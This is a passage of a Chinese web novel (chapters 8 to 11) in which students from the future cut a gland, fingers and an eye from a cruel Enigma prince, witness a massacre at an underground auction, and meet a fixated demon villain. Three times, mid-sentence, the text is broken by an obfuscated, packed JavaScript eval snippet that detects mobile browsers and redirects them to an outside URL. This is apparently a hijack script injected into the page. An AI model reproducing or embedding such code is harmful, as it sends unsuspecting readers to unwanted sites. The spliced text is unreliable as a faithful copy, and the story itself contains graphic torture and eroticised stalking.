沈继想着想着，手指在头发上捏了捏，那头发略带弹性地从手里滑开了。 圣路那双冰冷的眼睛在一瞬间变得柔和了。 “真乖啊，宝贝。” 一只地狱手配合着抚过他的脸，冰凉凉地就像死人手。 沈继立刻从回忆中醒过神，浑身冒起了鸡皮疙瘩。 这时候圣路已经离开了，在冒着光的走廊留下白色的身影。 两只地狱手消失在原地。 劳埃斯等人被安排在外间的走廊，根本无人管他们。 老局长从里面一出来，就立刻打电话给上级，要求加派人手，他认为现在最危险的人物是圣路。 “他随时会把这儿当成屠宰场。”他冲电话里焦急道。 底下的警察们也焦急不安。 这时候，圣路已经从等候室出来，人们惊恐地站在原地，一动不动，却没有人敢看他。 “局长。”圣路的脚步停在走廊。 老局长回身：“……好。” 雷伊吐槽，拜托，人家还没说呢，就好了。 所幸那两只地狱手没有出现。 “沈继找的保释人是谁？” “这个好像不符合规……好像是沈部长呢。” 圣路的眼神转过来，老局长立刻缴械投降，把沈继出卖了。 他发誓回去就立刻申请提前退休。 “沈衣……”圣路瞥过表格上面的名字：“看来还真是受欢迎啊……” 他转身离开。 随即所有人如释重负地瘫软在地。 这时候，老局长才想起刚刚的成像视频好像已经接通了。 但是他还没来得及看，就被打断了。 老局长再次按秘号输入，这一次，那边立刻就接通了。 接通的那一刻，立体成像上出现一位黑发黑眸的男人。 所有人惊讶得看着成像上的男人。 连劳埃斯他们也惊了，因为成像上的男人，正是他们学校科技馆走廊上的那位歌雅时代的大佬，代表着歌雅太空力量，号称宇宙飞舰之父的沈衣！ “天啊，沈继是怎么做到的……” 对方穿着太空军的军服，肩章上两行代表至高军功的金色箭头。看起来他正在太空站的办公室内。 “你好，我是沈衣。”一道平淡的声音响起。 看着视频里的帅哥，雷伊和沙墨的脑袋里不断闪过一行行弹幕： 【我那位平淡如菊校友和众多大佬之间的爱恨纠葛】 【恨海情天，十八岁少年被众位大佬团宠】 【前世今生！在史前时代深陷修罗场】 而歌雅人类的想法就不一样了。 一看见沈衣那身威严的军服，想起正为歌雅人类的未来而殚精竭虑的沈部长，警察们都不由得肃然起敬，心生激动。 就算是老局长，也是第一次和这样的大人物对话，他努力平整着自己的呼吸：“抱歉，沈部长，打扰您，我是D国萨特朗斯市的警察局局长。” “您有事吗？”他道。 “是这样，我们警察局最近在查一桩案件，有一位嫌疑人希望您为他担保做保释人，这个私人秘号是他填写的，因此，我按照秘号打了这个电话。” 对方皱起了眉，显示出不悦的脸色。 老局长心里一紧，糟了，看来他真的估算错了，沈继或许只是从某些渠道得知了沈部长的私人秘号。 以沈部长的地位和沈家的家风，怎么可能和一个在逃犯扯上关系。 看来他这次是真的要提前“退休”了。 8. 第八章 “他叫什么名字？”沈衣问道。 “他叫沈继，您认识他吗？”局长小心翼翼。 这位沈部长原本俨然的脸庞露出了耐人寻味的笑容：“真是他啊。” 老局长惊讶道：“哦？这么说，您认识他，他真的是您的朋友？” “我得见见他。” “这当然。”老局长连忙转身让人去等候室找人。 结果两个警察兴奋地去了，又惊慌地回来了：“局长，人不见了！” “什么？！” 老局长再转头，刚刚还在这里的劳埃斯等人也早就不见了。 “人呢？” “刚刚还在这的。”那警察悄悄附耳低声道：“好像是跑掉了。” 老局长懵逼，看了看对面的沈部长，顿感颜面无存，羞愧到近乎脸红，这一次真的是再进急救室的程度。 在国联大部长的面前，直接把丢人两个字体现得淋漓尽致，连带着D国的脸也被他丢尽了。 沈衣明白了，他解围道：”普通的警察局是没办法困住精神力强者的，何况沈继的精神力不在我之下，我可以做他的保释，您不必太忧心。” 最后一句话，让老局长压力顿消：“那，这可真是太好了。” 歌雅的陆地大部分被宽阔深邃的森林霸占着，在森林外围则分布着大大小小的城镇。 歌雅人类在种族繁衍上的进度一直较为缓慢，对林木不做过多采伐，相对于地下的能源开采，他们更倾向于探案太空。 因此，在末世之后，歌雅的地底下也保持着巨量的晶体能源，供十万年后的新人类开采。 几个逃跑的年轻人在林中停了下来。 沈继站在这幽深巨大的树木下，抬头望不到天上的星体。 在警察局众人都被沈衣吸引的时候，劳埃斯几人借机离开了。 不知情的沈继是在圣路离开后紧跟着走的。 沙墨气喘道：“我怎么觉得不用逃也行，看在沈衣的面子上，局长肯定不敢扣押我们。” “是的，我也听到了，沈衣至少认识一个和沈继同名的家伙。”劳埃斯道。 雷伊摸着下巴道：“我怎么觉得沈继真的跟沈衣有关系？” 几人都看着他。 一同来到歌雅后，他们发现沈继拥有很多秘密，沈继在乎的点跟他们几个人完全不一样。 在歌雅，沈继总有一种濒临死亡的危机感，总有一种必须打破什么的急迫感。 沙墨：“沈继，你是不是有什么难言之隐？” “……” “虽然我们好奇，但是你不说，我们也没资格问。” 话是这么说，但几个人明晃晃地睁着眼睛看着沈继，眼里毫不掩饰地表达了探索求知，几乎就要煽情起来：你告诉我们吧！ “你们在等什么，以为我会和你们掏心掏肺地说什么。”沈继表示他们想多了。 “哈，那倒不是……”雷伊失望地呼了一声。 “至少我也没有用谎言搪塞你们，不是吗？”沈继靠着树坐下。 雷伊一脸恍然：”是啊，不愧是沈继大人，无时无刻让人感到十分安心。” 雷伊非常中二地扑上去，沈继向旁一歪，抬手挡了一下。 这时候，他看到了自己的手背，想起了圣路在他手上的吻。 歌雅人有吻手礼吗？ 劳埃斯那原本一直没有星网信号源的光脑竟然意外地响了起来。 是导师的视频通话。 劳埃斯立刻接通，那边传来断断续续的声音和模糊的人像。 “终于接通了，劳埃斯……你们的情况……怎么样……” “我们暂时没事。”雷伊几人也凑过去。 “好……联邦……穿越……通过，你们要注意……不要……尽可能拿到……基因……” 通话中不时传来干扰的电流噪声，听不清楚导师的内容，在短暂的交流后，通话就被迫中断了。 劳埃斯在这所剩不多的信息中捕抓到了几个关键字：“Enigma的基因”以及“联邦穿越者”。 “看起来，是要完成任务了。” “Enigma的基因？在穿越前确实有提及这个任务。问题是哪里有Enigma呢？” 这时候，沙墨闷声弹出他的攻略本。 只见上面洋洋洒洒列举了各个人物信息，都是歌雅文明中有迹可循的Enigma。 “漂亮啊，沙墨。”雷伊一看，不禁赞叹。 劳埃斯点了第一个。 【沈越，歌雅权威神疗师，传说为歌雅中精神力第一的Enigma，歌雅末世时作为火种保留在原星体上。在星际时代苏醒后，曾对联邦造成过严重威胁，后下落不明。】 劳埃斯和雷伊默契地划了上去，这位的存在至今都是联邦和帝国的痛，光想想都是头皮发麻的程度。 根本不可能考虑这位的啊。 沙墨点开第二个。 【沈衣，歌雅文明时代宇宙飞舰之父……】 这一次简介还没看完，直接就被划走了。 “姓沈的通通走开。”雷伊道。 话一出口，几人默契地转头看向沈继。 后者已经靠在树上睡着了。 “……”在攻略上划来划去，也没找到一个合适的对象。 要知道，Enigma这个性别就注定了在社会的主导权，注定绝不可能是一个普通人。 要么是精神力大佬，要么是王室贵族，要么是政府高官。 终于，在一众不可得罪的人物中，找到了至今最有破绽，最为脆弱的一个人物。 【布鲁顿·威伊，D国王室的三王子，一生纵欲，荒淫无度，专家推测其在歌雅4222年死于某种病症，享年25岁。】 25岁就会死的家伙，肯定是十分弱的了。而且这家伙的精神力听说几乎等于0。 于是，大家稍作休整（其实是在附近守着沈继，免得他被野兽叼走。）一边作研究攻略。 雷伊在附近城区买了一个可用于查询资料的设备。这是歌雅人类使用的类似于手机的东西，可以查阅资料，连接歌雅网络。 劳埃斯查清了D国王宫的位置，又下载了关于三王子的资料。 在做好一切准备后，除了沈继，其余几人在深夜中轮流站岗睡觉，听着附近狂风呼啸和野兽呼号过了一夜。 直到沈继清醒后，劳埃斯说了他们的目标和计划。 “布鲁顿的专舰经常会穿过这条大道，前往左右城。” “左右城是什么？”沙墨问。 “或许是王室的什么高端会所。”劳埃斯也不清楚。 “我们在这个地点制造动静，引开他的护卫，如果能趁乱拿到布鲁顿的头发就行了。” “一定要这么大费周章吗？会不会在某个垃圾回收里能找到？” 劳埃斯摇头：“Enigma作为保护对象，一根头发都不可能流落出去了何况他是王子。” “等等，我们计划好逃跑路线了吗？”雷伊可不想再被扣押起来。 “戴上口罩和帽子就行了。”沈继颇有经验。 ———— 歌雅的极速飞行列车只需要二十分钟就能带着他们跨过两个大城和广袤森林，飞往王宫。 下了列车后通过悬浮公交，只听风驰电掣的呼啸声，头上穿梭机和悬浮舰飞驰而过。 遥遥可见巍峨华丽的王宫坐落在山顶。 一条巨大的悬浮飞行大道出现在视野中，如同一条白练横穿天际。 此刻，一艘陆地悬浮舰平稳而快速地穿过飞行轨道，其中的装潢宛如一座移动的宫殿。 舰机内，布鲁顿正坐在华贵的沙发上，低头咬住一名omega的腺体。 另外两名漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401167|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮的年轻人跪坐在旁，瑟瑟发抖。 “呸，这信息素是什么烂果子里的杂质！”布鲁顿嫌弃地推开那名omega。 “我需要更多omega和alpha，要更纯粹的信息素，像人鱼那样美味的家伙，为什么找不到？”他额头冒起青筋，盯着管家。 旁边的管家平静道：“殿下，人鱼已经灭绝了。现在恐怕很难再找到人鱼信息素。” “那么实验体呢？教堂那边，为什么没有新的实验体送来？” “您知道，沙星组织最近在D国活动，巨神教的长老们也死了。” 就在这时，悬浮舰突然抖动了一下，发生了颠簸。 要知道，这种情况在悬浮轨道开通后几乎没有出现。 护卫团的首领命人缓速前行，利用全息仪查看了舰体周围情况。 “没有发现具体原因，为了谨慎起见，最好先暂停前行，查明原因。” 布鲁顿盯着他道：“左右城的拍卖快开始了，不能停在这。” 首领还是在劝：“殿下，最好还是……” 忽然，一股浓烈的威慑信息素猛的侵袭他的神经。 高大的alpha首领脸色一变，其他几个护卫甚至差点摔在地上。 三王子冷道：“别让我说第二遍。” Enigma的威慑信息素天生压制omega和alpha。 哪怕对方毫无精神力，身为精神力高手的他们也会被对方狠狠压制。 首领脸上显出不甘，却也只能让人继续前行。 悬浮舰没有停留，重新在轨道上启动。 站在暗处的柏堡小组有些意外，之前的舰体颠簸是他们用精神力缠住了其中一个侧翼，本以为护卫们会下来检查。 “看来我们只能再来一次了。” 窗外的城市风景飞驰而过，忽然一滩黏糊糊的东西扑上挡风玻璃。 三王子再次感到一阵强烈的颠簸。 驾驶员心惊胆战道：“有东西糊住了悬浮仪。” “给我去看看怎么回事！”三王子一脚踹在某个护卫脸上。 护卫们不敢惹怒三王子，连忙坐单人穿梭机飞到轨道下，查看悬浮仪的情形。 在打开厚重的舰门的时候，几道身影一闪而过，却没有人注意。 舰机内，布鲁顿看着眼前凭空冒出的几个家伙，摊开手，饶有兴致：“很好，看来左右城最近的新花样又多了。” 几人已经呈扇形围住了沙发上的王子。 首领提起精神力盾防，挡在他面前，提醒布鲁顿：“这是杀手，殿下。” “哼，杀手……几个下贱粗鲁的alpha？只要我一放出信息素，他们就得乖乖跪下。” 三王子懒散得笑着，丝毫不见紧张。 谁让他是人类中那0.00001%的Enigma，这世上剩下的999999人都得是他的臣服者。 在第一时间，首领就感受到这几个人的精神力很不简单，尤其是其中黑色眼睛的人，他的精神力根本捉摸不透。 不过，那又如何，只要三王子一释放威慑素，最终他们也只能屈辱地臣服。 一想到这里，首领的心里反而有些怜悯和可悲了。 雷伊看着那自大的王子，突然叹气：“要不换一个目标吧？” “怎么了？”沙墨问。 雷伊指着三王子：“看就知道，这个长得像猪一样的家伙，基因有什么值得可抢的。” 三王子猛然捏碎了酒杯，眼白都凸出来了：“你说什么？” “有道理，说不定反而会拉低了新人类的基因。”沙墨认真同意了。 劳埃斯弹出那份攻略，手指向三王子，向着他们说：“好吧，那你们重新选一个，找一个比这家伙更容易对付的。” “……啊，勉为其难吧，反正导师也没要求。”雷伊挥了挥手。 9. 第九章 “……一群……下贱的alpha，也配对我指手画脚！” 三王子布鲁顿这辈子没被人手指过，今天却像一头廉价的野兽一样被人指来指去，评头论足，讨价划价。 “该死的……该死的……我要你们跪在地上舔着我的鞋底……然后挖出你们的腺体碾碎！”他气得浑身发抖，青筋暴起，引以为傲的威慑信息素疯狂倾泻。 随之房间内压迫感顿生，扼住喉咙的窒息感，毛孔都被紧压住，骨子里的恐惧使人不由臣服。 护卫团首领心想，这威慑素不是针对自己，否则他大概已经没有办法站着了。 威慑素迅速弥漫了整个空间。 然而，对方几人站在那里不为所动。 没有意想之中的软膝跪地和屈辱不甘的眼神。 “怎么可能……”布鲁顿睁着眼睛，不可置信地看着他们。 “什么？感觉怎么样？”沙墨是四人中唯一的一个beta，转头询问起其余三人。 一开始，柏堡四人组虽然表现轻松，但心中依然忌惮这传说中的Enigma信息素。 然而眼见着对方煞有介事地释放威慑素，却只闻到一股有些难以言喻的气息后，在白白紧张后，随之一切索然无趣。 “嗯？是不是搞错了？这家伙到底是不是Enigma？”雷伊奇怪道。 劳埃斯皱眉思考：“不，Enigma的信息素是和旁人不同，或许是这家伙的等级不够。” “那我们还要继续拿这家伙的基因吗？” “……”布鲁顿仰着头面色扭曲，有生以来骄傲的Enigma被几个alpha完全无视，这让他几乎要喷出火来。 首领惊愕地看着这几人，这些人究竟是谁？到底是从哪里出来的？ 怎么可能有alpha能抵抗得过Enigma的威慑素？ “我们挖出腺体看看。”这时候一直没有说话的沈继开口了。 此话一出，别说布鲁顿和首领，几个小伙伴也惊呆了。 “？”不是说好的，扯几根头发吗？顶多抽管血得了。 从进来开始，沈继就注意到这间房间的布置十分诡异，用怪兽的皮革缝制的毛毯，浸泡着捣碎内脏的酒瓶。 头顶上的灯罩是一整张连着头皮的脸皮。 他走到那排精美的柜子里，发现福尔马林泡着一具人鱼的尸体，看出来那是一条尚且幼小的人鱼。 他的脸还不足以自己的巴掌那么大，稚嫩的腺体却已经被咬破，纯银的头发和尖尖的耳朵失去了光泽。 不知为何，沈继想起了某个同样尖耳朵的身影。 为了避免留下痕迹，他还提前戴上了准备的白色手套。 沈继从收藏品中选了一柄人骨制的小刀，走进已经无措到神智混乱的布鲁顿。 雷伊几人也开始注意到房间内的陈列品，明白了这家伙的变态。 “阿卡修斯，你这个蠢货在干嘛！？他要杀我！”布鲁顿尖叫起来，冲着护卫首领道。 阿卡修斯动了一下手臂，却又猛然停住，脸色如同下定了某种决心。 布鲁顿绝望喊道：“阿卡修斯！你要背叛王室吗？你个该死的……” 阿卡修斯还是没有动。 布鲁顿转而求助一旁的管家，管家不知何时早就被人用精神力勒晕了。 他看着走进的沈继，从那双古井无波的黑色眸珠中，感受到这是一个真正绝情的杀手。 ”我有钱，求你，我有很多omega，都给你……不要动我的腺体。”他开始往后逃脱。 雷伊和沙墨释放精神力固定住布鲁顿的双手双脚，劳埃斯抓住了他那头花辫繁复的长发一扯，使其露出了颈后的腺体。 沈继的骨刀扎进皮肤，一勾一挑。 “不！不！不！！！” 一道血色流出，阿卡修斯看着布鲁顿的腺体被完整地挖了出来。 温热的腺体染红了沈继的白手套。 布鲁顿像死鱼一样倒在沙发上颤抖。 “看起来确实是Enigma。”劳埃斯凑过去看。 沙墨拿出一个玻璃瓶，将腺体收进去。 “既然这样，也不必要拿他的头发了。” 劳埃斯看向阿卡修斯，后者还处在震惊之中，但他知道自己不是对手，只能绝望地等死。 “既然不怕死，你为什么不保护你的雇主？” “他不值得我拼尽生命去保护。” 只因他是王室养大的护卫，所以只能屈从与布鲁顿，但从内心他深知布鲁顿的残忍。 倒在沙发上的布鲁顿眼神阴狠，恨不得立刻把阿卡修斯咬死。 但他现在无力起身。 劳埃斯道：“走吧。” 忽然雷伊道：“等等，反正现在也回不去，我们不去左右城看看吗？” “资料上显示，那是王室贵族的聚集地，戒备森严。” “噔噔噔！”雷伊向旁一退，双手请出沙墨：“看见没？和变态王子一样的发色，一样的肤色，一样的眸色，只要把头发戴上，换套衣服，完全OK！” 这么一看，以歌雅人脸盲的程度，确实如此。 “当然，除此之外，我们这位肯定是帅得一塌糊涂的了。”雷伊不忘打马屁，但谨慎地没有说出名字。 劳埃斯看向沈继，他认为沈继或许并不想去。 然而沈继道：“应该去。”他直觉觉得那里有更深的秘密，也有关于圣路。 于是，三王子的悬浮舰继续开动，往左右城出发。 阿卡修斯见他们如此大胆，简直不敢置信：“等一下，进左右城，需要三王子指纹认证的。” 一串血光飞溅，布鲁顿尖叫起来。 随之一节手指头掉在地上。 沈继切下了他的食指。 “……”阿卡修斯愣在那里。 他只是想提醒他们，左右城不是那么容易去的，他不希望他们去那里冒险。 “这样就可以吧。”雷伊带着手套捡起食指。 阿卡修斯犹疑道：“等等……不是食指，是大拇指。” 随后，布鲁顿的大拇指也被割下来了，伴随着更加痛苦的哀嚎。 “……阿卡修斯，你会死的很惨的……”他盯着阿卡修斯诅咒着，脸色苍白，汗涕齐流。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401168|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有什么吗？”劳埃斯问，像布鲁顿这样的人并不值得同情。 阿卡修斯抛下最后一道心理负担：“还有虹膜识别。” 沈继走向布鲁顿。 布鲁顿惊恐地看着眼前恶魔般的男人，吓得浑身痉挛，他已经崩溃了。 雷伊和沙墨再次释放精神力按住他的身躯， 沈继剜下了布鲁顿的一颗眼球。 阿卡修斯脸色复杂地看着这一切，他怎么可能想到，不可一世的Enigma王子有朝一日竟然会到这种任人宰割的地步。 而且对方还是一直被他所鄙视的alpha和beta。 悬浮舰的舰身在夜空中划过流畅的弧线，进入左右城的地下轨道，几人下了舰身，直接进入电梯。 进入电梯的时候，阿卡修斯提议跟在他们后面。 “这样才不会引起怀疑。”他解释。 “为什么要帮我们？”劳埃斯道。 “我不希望你们出事。”同样身为alpha，他们却可以不受Enigma影响了可以轻松把暴虐的三王子踩在脚下。 此时此刻，这几人几乎成了阿卡修斯心中的神。 劳埃斯道：“我们不能信你，除非你去杀了三王子。” 阿卡修斯转身抽出自己的骑士剑，那位不可一世的三王子此刻在他剑下，睁着一只眼，惊恐地摇头：“不……阿卡修斯，我向你道歉。” 阿卡修斯一剑斩下他的头颅。 最后，他们点燃了布鲁顿的尸体。昏迷的管家和驾驶员则被扔进了驾驶室。 沙墨此时已经换上了布鲁顿另一套干净的衣服。 通过指纹和虹膜识别，一路畅通无阻。 周围冷冽的钢墙装潢随着越进入内里，越变得奢华梦幻。 阿卡修斯跟在他们后面，过往的工作人员没有发现异常。 “布鲁顿来这里是为了一场拍卖会。” 两名美丽的侍者推开一扇大门。 果然是拍卖会，但是这里面拍卖的，全是很不寻常的东西。 经理熟络地带领他们到一间雅厢，看来这里是三王子名下的包厢。 “十三号拍卖品，白月光之箭，佩戴此项链，将消耗佩戴者一生运气，得气运加持。” “哇，这个好。”雷伊赞叹不已。 “用一生的运气去求一刻短暂的如愿吗？”劳埃斯觉得这很傻。 “第十六号拍品，是来自人鱼的腺体。” 这显然是压轴品，出价的房间很多，拍卖出的数额也越来越高，雷伊等人皱眉：“果然有钱人都对这个感兴趣。” 沈继点开上面的简介，屏幕上弹出了介绍文字。 “这是一条三百岁男性alpha人鱼的腺体，至今还蕴含着至少10%的人鱼信息素。” 阿卡修斯道：“布鲁顿一直热衷于这类拍品。” “看出来了。”雷伊耸耸肩。 就在这时，沈继目光撇见了一道熟悉的身影。 左端四方棱形的楼梯上，一道白色的身影一闪而过。 “我出去一下。“沈继丢下这一句，随即消失在雅厢内。 10. 第十章 “请各位客人稍安勿躁，我们需要特别说明，在这副腺体上发现他的主人曾经被标记的痕迹。” 沈继循着圣路的踪迹，走过挑空的边缘走廊，听见拍卖官的声音回荡在高阔的空间内。 此话一出，刚刚还十分热络抬价的拍卖场寂静了。 “二十号客人取消了出价。” “七号客人撤下20%的价格。” 拍卖官早有所料，不紧不慢道：”但我们的鉴定师发现他孕育过孩子，在他的腺体中发现了孕育痕迹。” “第七号客人重新出价，增加一百万晶币。” “十三号客人出价一百五十万。” 果然啊，在哪个世界都不乏有变态存在。 突然间，沈继停下了步伐。 他想起了某一天在书本上看见的关于人鱼的传说。 因为身体构造特殊，歌雅人鱼无论是alpha或omega都可怀孕生子，但这也引来了悲惨的命运。 即使歌雅政府严令伤害和买卖人鱼，但人鱼对人类的绝望和恐惧，也致使他们停止了繁衍，几乎是到了灭绝的程度。 仅仅是一副怀过孕的人鱼腺体就能拍出高价，可想而知，当初的人鱼经历过怎样可怕的灾难。 “追着我的时候，怎么会分心呢？”一只冰凉的地狱手穿过他的发丝，伴随圣路变态特质的笑意。 沈继瞳孔一颤，精神力释放，宛如镰刀的丝线在一瞬间将整只手切割成碎片。 回身就看见那张英俊而变态的脸。 自己刚刚走神了，居然没有察觉到圣路正站在他后面，按理说，如此变态的视线不应该被忽略才对。 那只破碎的地狱手重新组合在一起，飘到空中。 圣路此刻正哀婉而温柔地看着自己，只是无法忽略他眼中纯粹的病态。 ”真好啊……在这里，看见我亲爱的……” 这时，偌大的拍卖会场传来拍卖官的声音：“恭喜二十号拍下这件珍贵的人鱼腺体。” 圣路转过头，看向空中悬浮的拍卖台，他眼神中的光芒逐渐削薄，变得残酷冷漠，瞳孔之中阴暗一片，随即毫无征兆般凝出一层冰霜，嘴角的肌肉紧绷着。 与上一刻和沈继对话的圣路，仿佛两个生命体。 “一个生命体都不要留。”圣路声色冷沉。 沈继意识到有人正在极速靠近。 “只需要二十分钟。”几道黑色的身影已站在走廊上，居高临下地看着挑空的拍卖会。 他们轻巧无声地跳下走廊，精神力释放的杀器随之构筑而成。 沈继看见底下一片盈动的流光与鲜艳的血色。 被火焰流动的岩浆裹成烤肉的客人，被强大力量折叠成方块的躯体，骨头瞬间碎裂来不及惨叫的侍者，贵族们皮肉水分尽失，瞬间干枯如骷髅。 这之中还有贵族们护卫团中的精神力高手，可以与沙星成员对抗几分。 圣路伸出手，精神力像薄雾轻纱一般从他周身释放而出，在不知不觉间，这薄如蝉翼的精神力已笼罩了整个会场。 此刻的他已成为统治者的姿态。 这强悍的精神力落入会场，所有精神力高手已肝胆惊颤，仿佛侵入神经的毒素，心生绝望，仿佛恶魔敲碎了他们的脊骨，没有了任何还手的斗志。 沈继利用精神力丝线从旁边的走廊跳上劳埃斯他们所在的雅厢。 劳埃斯的精神力盾防笼罩了整座雅厢，因此这里还不受波及。 “我正准备找你。”劳埃斯道。 “雷伊他们呢？” “在电梯门口等我们。” 阿卡修斯已经找好了路线，雷伊和沙墨也一直用精神力将电梯门口保护下来，没有被圣路的精神力干扰。 劳埃斯和沈继两人赶到电梯口，一路上已看见不少横躺的尸体，各种死因惨状。 几人回合，这时候，一道声音响起：“等等我！请等等我！” 只见几名男人鲜血淋漓地追过来，脸色惊惧不已，他们是从另一间大厅里逃出来的，看来不止是拍卖会场，沙星已经侵入了整座左右城。 这里将由贵族的天堂变成炼狱。 前面通道又出现一位老人，身着华丽：“年轻人，我要进去……” 雷伊正要按下等候键。 “马上离开。”沈继阻止他。 说完，一片丝线困境密密麻麻地铺满了电梯口。 他和劳埃斯倒是不怕，但是雷伊和沙墨的实力对上沙星没有胜算，更别说阿卡修斯了。 至于这里的其他人，完全和他无关。他们没必要为这些人的罪过买单。 刚刚才勉强逃出来的贵族王室们看着眼前被封闭的通道，只能跪在地上崩溃地流泪，绝望地哭喊。 电梯门合上，缓缓下行，阿卡修斯看着那些绝望的权贵者们，有的人身上空洞洞的肌肉还在冒着烟孔，惨状凄然。 他不禁心怀感激地看向几人，如果不是他们，自己身为三王子的护卫，也只能无差别地死在这场沙星的屠杀中了。 而在这种时候，这几位神明还能将自己纳入他们的阵营中，没有抛弃他。 “谢谢，你们愿意接纳我这不洁之人。” 雷伊愣了一下，拍着他的肩膀，爆笑起来：“不洁之人……歌雅人都喜欢这么用词吗？” 阿卡修斯窘在当场。 劳埃斯从怀里拿出了那条项链。 雷伊双眼睁大了一下：“白月光之箭！你什么时候拿到的？” “在圣路还未释放精神力之前，向十三号客人拿的。”十三号客人拍下了这件珍品。 “他同意你拿？” “是的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401169|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他点头了。”劳埃斯微微一笑。 如果骷髅头掉下来了，也算是点头。 “我觉得我们应该带回去研究一下，歌雅人是如何将精神力运用到如此极致的。” 说话的功夫，电梯已经打开。 左右城传来一片火光，沈继看见一道苍白而黑暗的身影站在那里，似乎等候他多时。 “我们在老地方等你。”一看见圣路，劳埃斯几人心生寒意，同时十分有眼力见地默默离开了。 他们准备再次把沈继献祭给恶魔。 见到传说中的恶魔，阿卡修斯更是六神无主，脸色苍白，边走边紧贴着劳埃斯的身侧。 圣路目光深邃，笑道：“亲爱的……怎么不说一声就离开？” 沈继一双眼只想找出这家伙的破绽。 “小孩子不应该来这种地方玩。”那张冰白的脸猛然出现在他面前，只差一点就要亲上他脸颊，但被沈继的精神力蚕茧隔绝了。 “噢？被识破了？”圣路惊讶地看着他。 “嗯，你很明显。”沈继戳穿他。 变态都是明晃晃地盯着目标的，尤其是圣路这双贪婪的眼睛从出现开始就一直盯着他的脸。 “该死，差一点……差一点就亲上了，年轻孩子的皮肤真的很嫩很嫩……”圣路眼神迷离，他的表情几乎可以让人以为他在做某些不可言说的事。 加上他插在风衣兜里的双手从始至终没有拿出来过，甚至看出他在衣服里摸索着什么。 “……你在干嘛？”沈继冷道，忍住了骂他的冲动，骂他，只是在奖励他。 然而当圣路从口袋里拿出那颗糖果时，沈继明白自己的思想大概随着恶魔的潜移默化而肮脏了。 从不内耗的沈继甚至为自己刚刚的想法，短暂地对圣路产生了一丝歉意。 “找一颗漂亮的糖而已。”圣路用那双瓷白的手轻轻地拆开彩色盈亮的糖纸。 他的手比常人偏大一些，指掌均匀，骨节有力而微凸着青筋，捏着一颗小小的糖果反而显出一种近乎艺术的美感。 他那双石榴红的眸珠一动不动地盯着沈继，带着侵略性和变态的目光。泛红的唇角张开，显出嫩红的舌头，随即将糖放进口中，喉结滚动，唇角带出一种满足的弧度。 沈继很确定，就这一瞬间，圣路的眼神已经把他上了二十遍不止！ 他冷冷看着这疯子，忍到了极限，终于咬紧声线骂了他一句：“别看我。” 随即，他以0.0001秒的速度后悔了。 圣路的眼神在短暂之间发生了疯狂的质变，他冰白如玉的脸泛起红潮，双眼微微睁大，泛出一丝盈润的泪水之类的液体，连呼吸也变得急促微喘了：“啊……不要生气……我会乖……乖……沈继……嗯……” ”……”果然，他不该如此轻易地奖励他。 11. 第十一章 恶魔的眸珠独有一种禁忌残忍的美感，而对方变态发作的时候，那张病态的脸庞配合上血腥眸珠，让人难以言喻那种强烈的冲击感。 沈继在“等着他爽完”和“打断他”之间选择了——转身无视他。 “要走了吗？不再陪我玩一会儿吗？” 圣路笑起来，脸色近乎说是温柔了，他的笑声空洞，落在沈继的耳里朵没有任何实质感。 火焰灼逼着空气，燥热之极，四周的世界隐隐开裂，沈继回头看他，见他的脸上仍带着一丝隐约的红。 这一瞬间，沈继竟然想起了幼年梦中的场景。 那时不过三四岁，长发的恶魔在梦里出现，尖尖的耳朵供他玩耍，他总是温柔极了。 那双手爱抱他，大而有力，又显得单薄。 印象已经不够深刻了，他只记得自己叫他：“小耳……” 现在他长大了，却已经到了你死我活的地步了。 一想到过去梦中的圣路，沈继的精力仿佛又开始耗尽，他困得不得了了。 “下次我还是要杀你。”他平静说着。 圣路的手抚过自己的唇和脖子，指腹蹂·躏着下唇，带有一种发泄的快感和战栗：“我一直在等你啊……” “快点来吧……可不要一直心软啊……”他嘴唇翕动，仿佛真的有如此浓烈的爱意滚动在他胸口。 为此，沈继提前拐了一个弯，离开他那缠绕黏腻的视线。 左右城相邻的大楼是一栋艺术馆，外墙上凌空悬浮着各式各样的艺术雕塑，沈继选了一个弧线圆滑舒适的雕像，躺在上面。 一天一夜没睡觉，他现在眼皮直打架，映着对面的火光，下一秒就要睡着了。 闭眼前，他还不忘发个定位给劳埃斯。 夜晚的天空被红色的流星和巨大的天体覆盖，近些年，歌雅陆地上常有细小陨石降落。 一艘体型巧妙的舰机穿过夜空中的城市，宛如鲸鱼的尾巴掠过深海。 底下的人们抬头看着这艘梦幻的飞舰，看它从遥遥一点光逐渐变大，逼近城市。 “好像是第五层的舰机。”阿卡修斯道。 “第五层？”劳埃斯在学校也没有听过这个名词。 